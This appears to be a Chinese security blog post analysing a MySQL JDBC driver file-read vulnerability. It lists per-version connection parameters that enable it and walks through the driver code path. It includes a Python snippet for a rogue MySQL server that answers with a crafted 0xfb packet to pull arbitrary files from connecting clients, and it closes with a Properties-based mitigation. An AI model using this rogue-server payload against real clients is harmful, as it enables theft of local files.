8.0.14
在8.0.14版本下无需进行任何参数设置,可以直接读取任意文件。
8.0.25
无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true
参数才可以使用。另外也可以试试allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
其他几个参数。原因在于不知道哪个版本开始allowLoadLocalInfile的默认值变成了false,详见com/mysql/cj/conf/PropertyDefinitions的静态代码块。
5.1.47
同8.0.25一样也无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true
参数才可以使用。建议能使用全的payload就用全的。
漏洞分析
当mysql驱动进行任意sql语句操作时,会进入到NativeProtocol#sendQueryPacket->NativeProtocol#readAllResults->NativeProtocol#read流程中来。
在NativeProtocol#read函数中当columnCount为-1时就会从数据包中读取文件名,并将对应文件内容发送给服务器。
columnCount只有在数据包正文中[^1]第一个数据为fb的情况下才能被赋值为-1,之后的字节全部为文件名。
顺利进入sendFileToServer函数中后会直接将文件内容发送给服务器。
漏洞复现
在服务器搭建恶意服务,这里我修改了jdbc反序列化恶意服务器的代码,具体是当接收到
show session status
查询时的响应内容。
if "show session status" in data:
#第一个字节为数据包的长度,接下来的000001固定不变。fb为了让columnCount是-1。之后再拼接上要读取文件名的16进制编码即可。
_payload="{:0>2x}".format(len(sys.argv[1])+1)+"000001fb"+sys.argv[1].encode().hex()
_payload=_payload.encode()
print(_payload)
send_data(conn,_payload)
data=receive_data(conn)
send_data(conn, data)
data = receive_data(conn)
return
控制mysql连接该服务器,即可获取到文件内容。
读取到文件内容。
修复方案
首先,用户可以控制url参数,但是绝对不能让用户控制properties。
在jdbc连接过程中会将properties解析并覆盖掉url中对应的参数。所以可以通过以下方式规避该问题。
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
Connection conn = DriverManager.getConnection(c,properties);
结语
mysql蜜罐应该也是用的这个漏洞,目前存在该漏洞的系统还是蛮多的。
创作不易,转载需注明出自公众号"地表最强伍迪哥" :heart:
[^1]: 数据包前4个字节为packetHeader不属于正文